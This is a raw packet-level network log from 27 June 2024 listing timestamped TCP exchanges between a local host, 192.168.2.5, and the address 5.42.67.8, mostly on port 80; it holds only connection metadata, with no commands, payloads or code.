Jun 27, 2024 06:44:19.680505037 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680516958 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680520058 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680531979 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680547953 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680548906 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680598974 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680617094 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680773973 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680788040 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680802107 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680815935 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680815935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680830956 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680839062 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680845976 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680859089 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680871964 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680875063 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680901051 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680902958 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680918932 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680924892 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680932045 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680946112 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680959940 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680964947 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680973053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680988073 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681001902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681001902 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681015968 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681027889 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681030035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681046963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681060076 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681063890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681075096 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681077957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681114912 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681147099 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681180000 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681194067 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681212902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681220055 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681245089 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681262970 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681329012 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681343079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681355953 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681370020 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681370020 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681385040 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681394100 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681399107 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681412935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681427002 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681428909 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681440115 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681453943 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681454897 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681479931 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681499958 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681679010 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681693077 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681714058 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681720018 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681727886 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681740999 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681741953 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681756020 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681765079 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681771040 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681785107 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681798935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681799889 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681812048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681824923 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681826115 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681838989 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681848049 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681853056 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681866884 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681880951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681883097 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681895971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.681917906 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.681941986 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.682080984 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.682095051 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.682107925 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.682121992 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.682125092 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.682137012 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.682147026 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.682184935 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.766525030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766541958 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766556978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766577005 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766590118 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766606092 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766621113 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.766661882 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.766711950 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766726017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766738892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766752005 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.766760111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766773939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766787052 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.766789913 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766822100 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.766841888 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.766854048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766869068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766882896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766894102 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.766896963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766911983 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.766944885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.766982079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.766997099 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767010927 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767019987 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767024994 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767040014 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767052889 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767060995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767091036 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767102003 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767306089 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767321110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767333984 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767345905 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767348051 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767362118 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767375946 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767384052 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767390013 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767404079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767417908 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767417908 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767431974 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767440081 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767446995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767457962 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767460108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767473936 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767487049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767491102 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767502069 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767532110 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767550945 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767620087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767632961 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767647982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767659903 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767679930 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767764091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767776966 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767791033 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767802000 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767805099 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767818928 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767826080 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767832041 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767833948 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767862082 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767870903 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767875910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767889977 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767901897 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767904997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767918110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767931938 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767935038 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767945051 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767961025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767972946 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.767973900 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767990112 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.767995119 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768023014 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768048048 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768245935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768260002 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768274069 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768285990 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768289089 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768300056 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768317938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768351078 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768388033 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768402100 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768421888 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768424034 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768438101 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768445969 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768451929 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768465996 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768466949 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768486977 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768501043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768502951 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768516064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768522024 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768528938 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768542051 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768543959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768558025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768570900 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768575907 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768584967 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768598080 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768611908 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768619061 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768625975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768634081 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768640995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768656015 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768690109 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768861055 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768874884 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768889904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768903017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768937111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768951893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768954039 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768965960 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768970966 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.768980980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.768995047 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.769006968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.769011021 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.769022942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.769047022 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.769071102 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.001471043 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.001816988 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.006406069 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.006557941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.192454100 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.192606926 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.193065882 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.197930098 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380755901 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380778074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380800962 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380820990 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.380825043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380840063 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380856991 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380861998 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.380868912 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380882978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380886078 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.380886078 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.380897999 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380913019 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380938053 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.380939007 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.380939960 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380954027 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380966902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380970001 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.380980015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.380994081 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381000042 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381016016 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381026983 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381026983 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381038904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381057978 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381058931 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381072044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381093025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381099939 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381105900 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381122112 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381131887 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381136894 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381146908 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381151915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381172895 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381203890 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381247997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381262064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381275892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381290913 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381295919 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381304979 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381320000 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381320953 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381354094 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381354094 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381373882 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381387949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381402016 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381417036 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381433010 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381438971 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381438971 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381474018 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381474018 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381515026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381535053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381550074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381563902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381571054 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381571054 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381580114 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381594896 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381594896 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381613970 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381661892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381675959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381690979 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381704092 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381717920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381722927 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381731033 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381740093 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381746054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381758928 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381766081 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381803036 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381803036 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381839037 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381854057 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381875992 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381902933 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381934881 CEST	80	49719	5.42.67.8	192.168.2.5
